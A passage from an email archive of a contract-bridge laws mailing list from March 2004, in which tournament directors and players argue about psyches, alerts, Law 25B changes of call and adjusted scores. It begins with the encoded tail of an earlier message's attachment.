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 ------=_NextPart_000_0004_00005680.00005919-- From t.kooyman@worldonline.nl Tue Mar 23 13:24:37 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 23 Mar 2004 14:24:37 +0100 Subject: [blml] Strong opening 2 Bids References: <000801c40fcb$536badc0$6401a8c0@hare> Message-ID: <014601c410ef$893d2350$13f8f0c3@LNV> This is a multi-part message in MIME format. ------=_NextPart_000_0139_01C410E2.922925C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable This only can be answered by your own nbo, since they took those = previous decisions.=20 ton ----- Original Message -----=20 From: Nancy T Dressing=20 To: Bridge Laws=20 Sent: Monday, March 22, 2004 6:05 AM Subject: [blml] Strong opening 2 Bids Now that "old fashioned" strong 2 bids must be alerted, how do we = handle an "old fashioned strong 2 club" opening bid and the artificial = 2NT showing a bust hand? Which bid, if any, should be alerted? =20 Thanks, Nancy ------=_NextPart_000_0139_01C410E2.922925C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
This only can be answered by your own = nbo, since=20 they took those previous decisions.
 
ton
----- Original Message -----
From:=20 Nancy = T=20 Dressing
Sent: Monday, March 22, 2004 = 6:05=20 AM
Subject: [blml] Strong opening = 2=20 Bids

Now that "old fashioned" strong 2 = bids must be=20 alerted, how do we handle an "old fashioned strong 2 = club" opening bid=20 and the artificial 2NT showing a bust hand?  Which bid, if any, = should be=20 alerted? 
Thanks,
Nancy
------=_NextPart_000_0139_01C410E2.922925C0-- From tom.cornelis@pi.be Wed Mar 24 10:59:40 2004 From: tom.cornelis@pi.be (Tom Cornelis) Date: Wed, 24 Mar 2004 11:59:40 +0100 Subject: [blml] Psyches References: Message-ID: <000501c4118f$1c9e7a00$b88bdbd5@lightningadmin> I would prefer the Law-makers would take a different approach when dealing with psyches. Since it is as yet not possible to record psyches efficiently, I would prefer the psyches themselves to be disregarded. A real psyche isn't possible by partnership agreement. Rather, if the frequency of psyching is higher than normal, the partnership should reveal this, as if they were explaining a call. They should also reveal which of the players tends to psyche more frequently. If partnerships disobey this rule, they can be penalized (with a procedural penalty). In this way, psyching remains legal at all times AND yet players can be penalized if they would break this Law. It would be an improvement all the way around. Because there is no Law that deals with the frequency of certain types of bids (such as psyches, but also tactical calls), I think it would have to be created. Best regards, Tom PS: it would be far easier to discern if a pair psyches regularly. ----- Original Message ----- From: "Robert E. Harris" To: Sent: Wednesday, March 24, 2004 4:54 AM Subject: [blml] Psyches > We have one habitual psycher in our ocal club. All the regulars know > him. His usual partner is of course well aware of his habits. > > An example: > > North East South West > 2C 2H P P > X 2S X 3H > X 3S X P > P 4C X (all pass) > > Now 4C doubled goes down enough to give NS a good board. It turns > out that West holds about 10HCP and a 6 card heart suit. I was told > that during the auction, everyone at the table knew the 2H bid was a > psych by the time East pulled the double of 3H to 3S. > > I was directing, but I was not told about this until the next day. > At what point in a partnership does the frequency and nature of the > psyching bring us to a partnership agreement? I'm going to be asked > to address this question some day, and I don't know what the answer > is. What do I do about it when the time comes? (I am directing only > about 6 times a year when this partnership is playing.) Help! > > (This sort of pattern is typical: a psych followed by a new suit bid, > sometimes a psych, sometimes a real suit. > > Partner shows a 2 suited hand, psycher bids the suit he does not > hold, runs to the other suit if doubled, once in a while plays in the > wrong suit. > > I do not mean to suggest his partner ever bids as if he knows the > first call is a psych, generally he raises if he ought to raise a > genuine suit bid.) > > REH > > > -- > Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 > Department of Chemistry, University of Missouri-Columbia > Columbia, Missouri, USA 65211 > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Wed Mar 24 11:57:59 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 24 Mar 2004 11:57:59 +0000 Subject: [blml] A question and a ruling In-Reply-To: References: <200403231806.KAA28595@mailhub.irvine.com> Message-ID: Karel wrote >Yes very sorry (badly presented) I should have put east/west on the >bidding - I have suggested before, and will now suggest again: On RGB we have a style-guide that is posted three times a year, and is always on the web on the Great Bridge Links site and on my site. If posts on BLML followed the recommendations of the style-guide they would often be far more legible. May I suggest we agree to post it here as well? One of the recommendations [also recommended when writing out appeals forms and similar] is to always put bidding sequences West North East South Experience shows it is much easier to link such sequences with the accompanying diagram. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Wed Mar 24 12:10:31 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 24 Mar 2004 12:10:31 +0000 Subject: [blml] Psyches In-Reply-To: References: Message-ID: Robert E. Harris wrote >We have one habitual psycher in our ocal club. All the regulars know >him. His usual partner is of course well aware of his habits. > >An example: > >North East South West >2C 2H P P >X 2S X 3H >X 3S X P >P 4C X (all pass) > >Now 4C doubled goes down enough to give NS a good board. It turns out >that West holds about 10HCP and a 6 card heart suit. I was told that >during the auction, everyone at the table knew the 2H bid was a psych >by the time East pulled the double of 3H to 3S. > >I was directing, but I was not told about this until the next day. At >what point in a partnership does the frequency and nature of the >psyching bring us to a partnership agreement? I'm going to be asked to >address this question some day, and I don't know what the answer is. >What do I do about it when the time comes? (I am directing only about >6 times a year when this partnership is playing.) Help! The problem is that there are two separate questions raised by this hand. [1] Has West fielded the psyche? The answer is no: after 3S it is a matter of general bridge knowledge that the 2H bid does not contain a hearts suit, and was a psyche, misbid or mispull. [2] Have E/W a CPU that 2H is likely to be a psyche? Quite possibly, but I would worry about it more when you have a hand where the psycher's partner could have fielded it. I know that this may be theoretically wrong [beating Grattan to the punch] but it is a practical approach to directing. To answer your question, the more the player only psyches in a specific situation the sooner would you expect there to be a CPU. But remember that when a player plays a session of bridge he makes a lot of decisions, maybe 400. In many of those he may not take the same decision as his partner would expect - say 40. Now those 40 modify the partnership's understanding. If a player psyches in various different ways once every couple of sessions I do not believe it raises awareness very much. It is a very small part of the adding to the partnership's experience. If a player regularly psyches twice or three times a session, or once every two sessions but only in a particular way, then I think this heightens the awareness. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Wed Mar 24 12:45:55 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 24 Mar 2004 13:45:55 +0100 Subject: [blml] Psyches In-Reply-To: References: Message-ID: <40618303.1080707@hdw.be> I suggest we look at psyches from the point of view of MI. Robert E. Harris wrote: > We have one habitual psycher in our ocal club. All the regulars know > him. His usual partner is of course well aware of his habits. > The opponents are entitled to this information. The regulars have the information, an occasional visitor should be informed of the same. > An example: > > North East South West > 2C 2H P P > X 2S X 3H > X 3S X P > P 4C X (all pass) > > Now 4C doubled goes down enough to give NS a good board. It turns out > that West holds about 10HCP and a 6 card heart suit. I was told that > during the auction, everyone at the table knew the 2H bid was a psych by > the time East pulled the double of 3H to 3S. > Well, I guess the whole world had gotten this. The question comes two times previous: 1) Did West realize it at the time of the 2H bid? He probably did, but he concluded it from his own holding, so he was not obliged to inform his opponents more than "my partner is a frequent psycher", which he in fact did (because the opponents already knew). 2) did he realize it when east pulled 2Hx to 2S. Well, we might rule that he did. Yet he chose to return to hearts. He must realize that he is telling his partner one thing : "I know you know I know you psyche a lot, so I'm showing you six of them". This may well be something his opponents are not aware of. But it is not something they can use. By now, they simply have to double everything. There's nothing more to be gained by leaving a very bad contract undoubled. > I was directing, but I was not told about this until the next day. At > what point in a partnership does the frequency and nature of the > psyching bring us to a partnership agreement? I'm going to be asked to > address this question some day, and I don't know what the answer is. > What do I do about it when the time comes? (I am directing only about 6 > times a year when this partnership is playing.) Help! > > (This sort of pattern is typical: a psych followed by a new suit bid, > sometimes a psych, sometimes a real suit. > > Partner shows a 2 suited hand, psycher bids the suit he does not hold, > runs to the other suit if doubled, once in a while plays in the wrong suit. > > I do not mean to suggest his partner ever bids as if he knows the first > call is a psych, generally he raises if he ought to raise a genuine suit > bid.) > The only thing we need to rule upon is the frequency. Are the opponents aware of the frequency. Would they be able to pass out 2H if they had been better aware of the true frequency of the psychs? > REH > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Wed Mar 24 13:36:51 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 24 Mar 2004 14:36:51 +0100 Subject: [blml] A question and a ruling References: Message-ID: <008501c411a5$e1d51250$50ebf1c3@LNV> It is not a normal case of UI, a player continuing bidding when only half of the field wil do so. We don't consider that as unethical. This one is an example of terrible behaviour by East. There should be a severe penalty. The more so because EW probably are allowed to escape concerning the adjusted score. East will show his zero KC by bidding 5C and West will start to understand that something went wrong. He has one ace too many himself, so for an examination I would remove the heart ace and give him club K. The answer then would be that EW get an adjusted score based on playing 7NT X minus a lot. In this case West will bid 5D and I allow East to pass. So 5D is the basis for the AS. ton > I think there is no question of UI - I was wondering at how you would adjust > ?? 12C3 solution and if so what or other ?? > > K. > > > >> Bidding > > >> > > >> 2C(1) P 2NT P > > >> 3H(2) P 4NT P > > >> P(3) > > >> > > >> (1) normal big atifical 2C hand or weak diamonds > > >> (2) Ogust reply weak points good suit. Alerted as a big hand natural > > >> (3) Passes the RKC ask (they are playing 3041) > > >> > > >> 4NT makes - opps protest that there is UI which opener acted upon. > Your > > >call. > > > > > > S AT9x S Q > > H AQ H xx > > D AKxx D QJ9xxx > > C T9x C Qxxx > > > > S Kxxxx > > H Kxxx > > D xx > > C xx From Harald.Skjaran@bridgefederation.no Wed Mar 24 14:06:28 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Wed, 24 Mar 2004 15:06:28 +0100 Subject: SV: [blml] Psyches Message-ID: <89FD2BC254969C4297E82458BB27990061EC80@exchange.idrettsforbundet.no> David Stevenson wrote Robert E. Harris wrote >We have one habitual psycher in our ocal club. All the regulars know=20 >him. His usual partner is of course well aware of his habits. > >An example: > >North East South West >2C 2H P P >X 2S X 3H >X 3S X P >P 4C X (all pass) > >Now 4C doubled goes down enough to give NS a good board. It turns out=20 >that West holds about 10HCP and a 6 card heart suit. I was told that=20 >during the auction, everyone at the table knew the 2H bid was a psych=20 >by the time East pulled the double of 3H to 3S. > >I was directing, but I was not told about this until the next day. At=20 >what point in a partnership does the frequency and nature of the=20 >psyching bring us to a partnership agreement? I'm going to be asked to = >address this question some day, and I don't know what the answer is.=20 >What do I do about it when the time comes? (I am directing only about=20 >6 times a year when this partnership is playing.) Help! The problem is that there are two separate questions raised by this=20 hand. [1] Has West fielded the psyche? The answer is no: after 3S it is a=20 matter of general bridge knowledge that the 2H bid does not contain a=20 hearts suit, and was a psyche, misbid or mispull. [Harald] I don't know if they were playing match point or IMPs, nor the = vulnerability. But I find it very strange to pass 2H from pd over a = strong 2C holding 6-card support. In this setting, where pd is known by = all to be a frequent psycher, it might be OK to pass, but in any other = environment, this would be fielding the psyche IMO. [2] Have E/W a CPU that 2H is likely to be a psyche? Quite possibly,=20 but I would worry about it more when you have a hand where the psycher's = partner could have fielded it. I know that this may be theoretically=20 wrong [beating Grattan to the punch] but it is a practical approach to=20 directing. To answer your question, the more the player only psyches in a=20 specific situation the sooner would you expect there to be a CPU. But=20 remember that when a player plays a session of bridge he makes a lot of=20 decisions, maybe 400. In many of those he may not take the same=20 decision as his partner would expect - say 40. Now those 40 modify the=20 partnership's understanding. If a player psyches in various different ways once every couple of=20 sessions I do not believe it raises awareness very much. It is a very=20 small part of the adding to the partnership's experience. If a player regularly psyches twice or three times a session, or once = every two sessions but only in a particular way, then I think this=20 heightens the awareness. ---- Regards, Harald Skj=E6ran --=20 David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =3D( + = )=3D Lawspage: http://blakjak.com/lws_menu.htm ~ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From t.kooyman@worldonline.nl Wed Mar 24 14:45:15 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Wed, 24 Mar 2004 15:45:15 +0100 Subject: [blml] How Law 25B is not to be used References: <000001c4112c$cd5d6620$6900a8c0@WINXP> Message-ID: <009c01c411ae$a3407a30$50ebf1c3@LNV> Sven: BTW, I deduce from the various minutes that WBFLC hasn't even agreed with themselves how to use Law 25B (see in particular minute 2000-01-11#7). I have found lots of words but no real clarification in the later minutes. ^^^^^^^^^^^^^^^^^^ I agree with you that not all minutes say the same about the application of L25B. But that is not the same as saying that the WBFLC hasn't even agreed how to use L25B. Why do you say that? What the combination of the minutes say is that the original idea when introducing L25B was to make it possible to restore a stupid mistake (as passing a cue bid) . So it was not the intention to make it possible to change 2NT in 3NT with KJ87 QT5 QJ8 743 after partner opening 1NT with a long deliberation before bidding 2NT. But eventually the LC decided that making such a distinction was not possible, so even such a change should be accepted. That is what the combined minutes say and the LC agreed on that. ton From svenpran@online.no Wed Mar 24 15:22:02 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 24 Mar 2004 16:22:02 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: <009c01c411ae$a3407a30$50ebf1c3@LNV> Message-ID: <000601c411b3$c2185810$6900a8c0@WINXP> Ton Kooijman > Sven: > BTW, I deduce from the various minutes that WBFLC hasn't even agreed = with > themselves how to use Law 25B (see in particular minute 2000-01-11#7). = I > have found lots of words but no real clarification in the later = minutes. > ^^^^^^^^^^^^^^^^^^ >=20 > I agree with you that not all minutes say the same about the = application > of > L25B. But that is not the same as saying that the WBFLC hasn't even = agreed > how to use L25B. Why do you say that? >=20 > What the combination of the minutes say is that the original idea when > introducing L25B was to make it possible to restore a stupid mistake = (as > passing a cue bid) . So it was not the intention to make it possible = to > change 2NT in 3NT with KJ87 QT5 QJ8 743 after partner opening 1NT with = a > long deliberation before bidding 2NT. But eventually the LC decided = that > making such a distinction was not possible, so even such a change = should > be > accepted. >=20 > That is what the combined minutes say and the LC agreed on that. >=20 > ton And some issues seem to state that it is not the purpose of L25B to = allow an offender to attempt replacing an illegal call after it is too late for a change of call under L25A, but L25B2(a) clearly establishes this as a possibility. What are we supposed to believe? If I may: There is one solution that will fix all these problems and = that is to remove Law 25B completely and restore the rules that existed before = 1987. I see no reason to keep any part of Law 25B. Regards Sven From swillner@hotmail.com Wed Mar 24 15:57:47 2004 From: swillner@hotmail.com (Steven Willner) Date: Wed, 24 Mar 2004 10:57:47 -0500 Subject: [blml] Explain Message-ID: From: jean-pierre.rocafort@meteo.fr >i think L16 and L73F2 are accurate to deal with the consequences of asked >questions, but divergences of opinion lie on when they need to be used, >which is not a problem of what the law should be but a problem of >application on a case to case basis. This looks exactly right to me. Consider the following simple scenario: South opens 1NT, West passes, and North bids 2S, alerted by South. East asks "Please explain," and South gives a correct explanation. South eventually becomes declarer, and it turns out that East has a flat zero-count. In North America, there is no problem. The question is expected regardless of East's hand, and neither West nor South can expect to derive any information from it. In L73F2 terms, there is no way East "could have known" that the question might mislead. In the EBU, the situation might well be different. _________________________________________________________________ Check out MSN PC Safety & Security to help ensure your PC is protected and safe. http://specials.msn.com/msn/security.asp From Laval_Dubreuil@uqss.uquebec.ca Wed Mar 24 16:47:59 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Wed, 24 Mar 2004 11:47:59 -0500 Subject: [blml] How Law 25B is not to be used In-Reply-To: <006701c4112d$809a8fb0$01e3403e@multivisionoem> Message-ID: L25B shall not be used to correct an irregularity ... ____________________________________________________ Thx for this information. Not so evident in TFLB.... In my last post entitled "X-as-first-call", corrected to 1C, I was sure that the TD must apply 25B1 and must offer the substituted call to LHO. This post had 33 reactions... just confirming what we all know: Law 25 must be rewritten. But I do have an other problem with 25B1.... Lets take an example: North South 1NT - P - P (director!) South calls the TD and tells:"I made a stupid Pass with 11HPC and 5 cards in Spade. What can I do ?" Not a 25A case. The TD refers to 25B (LHO did not call). But what about 25B1? Does the TD should say something like: "You may change your call. - If LHO accepts, the auctions will proceeds without penalty (25B1). - If not (25B2), you may revert to your first call (your partner is off) or substitute any other call and have no more than an AVG- (oppnts will have what they get).??? If South then tries 2H (transfer) and LHO accepts (who knows, he may X for the lead !), auction proceeds without penalty. If LHO does not accept (most probable), South have two loosing options: P and partner is barred, or call anything and have an AVG- (plus the possibly of a lead penalty in Spade if he then makes ac all not related to Spade). Offering 25B1 in this situation seems so strange. Do I misread this part of Law 25? May TD then just apply 25B2? I think a part of the problem is that Law 25 tries to kill two different beasts: - miscall; - change of call. When you miscall, you call the TD yourself and say something like: "I made a mistake and would like to change my call." Then, the TD must rules your call inadvertent or not, and gives pertinent options to the caller. When a player changes his call, opponents normally call the TD. Once again the TD rules the first call inadvertent or not but the context is not the same. The substituted call is there and must be taken into account. IMHO, it would be better to have two different Laws (or two sections of the same Law) to address Miscall and Change of Call. The "change of call" must also be clearly defined. Saying "I would like to change my call" is not the same as saying "I would now like to call this or that". Is this a change of call or just UI? In the next version of Laws, I think 25B1 (or something like) should not be enforced after a simple miscall (not followed by a substituted call.) In the above case, the TD should then only say: "You may keep your original call (no penalty except that your intention to change is UI) or substitute an other call, with "clear and easy to understand" penalties (if any substitution is still allowed). Laval Du Breuil Quebec City From adam@irvine.com Wed Mar 24 17:18:45 2004 From: adam@irvine.com (Adam Beneschan) Date: Wed, 24 Mar 2004 09:18:45 -0800 Subject: SV: [blml] Psyches In-Reply-To: Your message of "Wed, 24 Mar 2004 15:06:28 +0100." <89FD2BC254969C4297E82458BB27990061EC80@exchange.idrettsforbundet.no> Message-ID: <200403241718.JAA12210@mailhub.irvine.com> Harald wrote: > >We have one habitual psycher in our ocal club. All the regulars know > >him. His usual partner is of course well aware of his habits. > > > >An example: > > > >North East South West > >2C 2H P P > >X 2S X 3H > >X 3S X P > >P 4C X (all pass) > > > >Now 4C doubled goes down enough to give NS a good board. It turns out > >that West holds about 10HCP and a 6 card heart suit. I was told that > >during the auction, everyone at the table knew the 2H bid was a psych > >by the time East pulled the double of 3H to 3S. > > [1] Has West fielded the psyche? The answer is no: after 3S it is a > matter of general bridge knowledge that the 2H bid does not contain a > hearts suit, and was a psyche, misbid or mispull. > > [Harald] I don't know if they were playing match point or IMPs, nor > the vulnerability. But I find it very strange to pass 2H from pd > over a strong 2C holding 6-card support. I have to agree. If I were West and heard partner bid hearts naturally in this auction, wild horses couldn't keep the auction below the 4 level by the time it got back to North. Maybe the 5 level, depending on vulnerability and form of scoring. Maybe that's just me---I like jamming auctions, and I often get good results from it. I don't agree with Herman that having six hearts is enough bridge reason for me to field a psych, without UI. Eleven- and 12-card fits do happen. Especially if I know partner's psyching tendencies, and the opponents don't, refusing to raise with six-card support gives the definite appearance that I know something about partner's psyching tendencies. Certainly with my regular partner, whose psyching frequency is somewhere between "rare" and "occasional", I would never pass a natural 2H overcall with six-card support (assuming we played 2H as natural, which we don't). -- Adam From blml@dybdal.dk Wed Mar 24 17:23:35 2004 From: blml@dybdal.dk (Jesper Dybdal) Date: Wed, 24 Mar 2004 18:23:35 +0100 Subject: [blml] How Law 25B is not to be used In-Reply-To: <000601c411b3$c2185810$6900a8c0@WINXP> References: <009c01c411ae$a3407a30$50ebf1c3@LNV> <000601c411b3$c2185810$6900a8c0@WINXP> Message-ID: On Wed, 24 Mar 2004 16:22:02 +0100, "Sven Pran" wrote: >If I may: There is one solution that will fix all these problems and = that is >to remove Law 25B completely=20 Yes, please! >and restore the rules that existed before 1987. The 1975 laws? Yes, I think they would be ok. (The 1987 laws would not, since they give an advantage to a player who changes his call illegally over a player who calls the TD and asks whether he may change his call.) The DBF's suggestion to the WBF can be seen at http://www.bridge.dk/lov/ak/udg/rfc-dbf-02.htm#L25B and I agree with that. --=20 Jesper Dybdal, Denmark. http://www.dybdal.dk (in Danish). From hermandw@hdw.be Wed Mar 24 17:35:49 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 24 Mar 2004 18:35:49 +0100 Subject: SV: [blml] Psyches In-Reply-To: <200403241718.JAA12210@mailhub.irvine.com> References: <200403241718.JAA12210@mailhub.irvine.com> Message-ID: <4061C6F5.7050608@hdw.be> Exactly Adam, Adam Beneschan wrote: > Harald wrote: > > > I don't agree with Herman that having six hearts is enough bridge > reason for me to field a psych, without UI. Eleven- and 12-card fits > do happen. Especially if I know partner's psyching tendencies, and > the opponents don't, refusing to raise with six-card support gives the > definite appearance that I know something about partner's psyching > tendencies. Certainly with my regular partner, whose psyching > frequency is somewhere between "rare" and "occasional", I would never > pass a natural 2H overcall with six-card support (assuming we played > 2H as natural, which we don't). > Indeed Adam, but your partner's psyching tendencies ARE AI to you. So if this player chooses to believe his partner has psyched, based on a- his partner's tendencies; and b- his own hand, then he is allowed to do so. He has to make certain that his opponents are also aware of a-, but he does not have to reveal b-, or his conclusion. The british regard "fielding" a psyche to be an infraction. I fail to see why this should be such in the whole world. As long as a- is revealed to the opponents, drawing the conclusion from a- and b- that partner has psyched is at the player's own risk. > -- Adam > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From Frances.Hinden@Shell.com Wed Mar 24 17:35:27 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Wed, 24 Mar 2004 17:35:27 -0000 Subject: [blml] Psyches Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17F1@lonsc-s-031.europe.shell.com> Robert E. Harris wrote >We have one habitual psycher in our ocal club. All the regulars know=20 >him. His usual partner is of course well aware of his habits. > >An example: > >North East South West >2C 2H P P >X 2S X 3H >X 3S X P >P 4C X (all pass) > >Now 4C doubled goes down enough to give NS a good board. It turns out=20 >that West holds about 10HCP and a 6 card heart suit. I was told that=20 >during the auction, everyone at the table knew the 2H bid was a psych=20 >by the time East pulled the double of 3H to 3S. > >I was directing, but I was not told about this until the next day. At=20 >what point in a partnership does the frequency and nature of the=20 >psyching bring us to a partnership agreement? I'm going to be asked to = >address this question some day, and I don't know what the answer is.=20 >What do I do about it when the time comes? (I am directing only about=20 >6 times a year when this partnership is playing.) Help! [DWS] The problem is that there are two separate questions raised by this=20 hand. [1] Has West fielded the psyche? The answer is no: after 3S it is a=20 matter of general bridge knowledge that the 2H bid does not contain a=20 hearts suit, and was a psyche, misbid or mispull. [Frances] I'm not so sure. After the 3S bid I agree it is completely clear, but why did West not raise hearts with only 6-card support? This is evidence (not proof, I agree, but evidence) of a CPU. As in most jurisdictions any defence to a strong 2C is legal, so if East psyches frequently in this auction, and West is going to pass with = 6-card support, why doesn't West alert the 2H bid and say "ostensibly natural = but he frequently psyches here" together with any information about the type of psyche (e.g. if it usually has a long side suit)? The 2H overcall=20 then is just as hard to defend against, and nobody can accuse anyone of = fielding. The fact that West gave preference from 2S to 3H is a point in his = favour; maybe he just didn't think of raising the previous round. [Frances: totally off-topic] In my limited experience with psyches, opponents tend to get more = confused when you raise the psycher's suit on your 5-card fit than when you read = it and pass. All their doubles become take-out & they end up bidding = notrumps... From blml@blakjak.com Wed Mar 24 18:44:20 2004 From: blml@blakjak.com (David Stevenson) Date: Wed, 24 Mar 2004 18:44:20 +0000 Subject: SV: [blml] Psyches In-Reply-To: <89FD2BC254969C4297E82458BB27990061EC80@exchange.idrettsforbundet.no> References: <89FD2BC254969C4297E82458BB27990061EC80@exchange.idrettsforbundet.no> Message-ID: <9mbA1NgEcdYAFwvy@blakjak.demon.co.uk> Skjaran, Harald wrote >David Stevenson wrote > > >Robert E. Harris wrote >>We have one habitual psycher in our ocal club. All the regulars know >>him. His usual partner is of course well aware of his habits. >> >>An example: >> >>North East South West >>2C 2H P P >>X 2S X 3H >>X 3S X P >>P 4C X (all pass) >> >>Now 4C doubled goes down enough to give NS a good board. It turns out >>that West holds about 10HCP and a 6 card heart suit. I was told that >>during the auction, everyone at the table knew the 2H bid was a psych >>by the time East pulled the double of 3H to 3S. >> >>I was directing, but I was not told about this until the next day. At >>what point in a partnership does the frequency and nature of the >>psyching bring us to a partnership agreement? I'm going to be asked to >>address this question some day, and I don't know what the answer is. >>What do I do about it when the time comes? (I am directing only about >>6 times a year when this 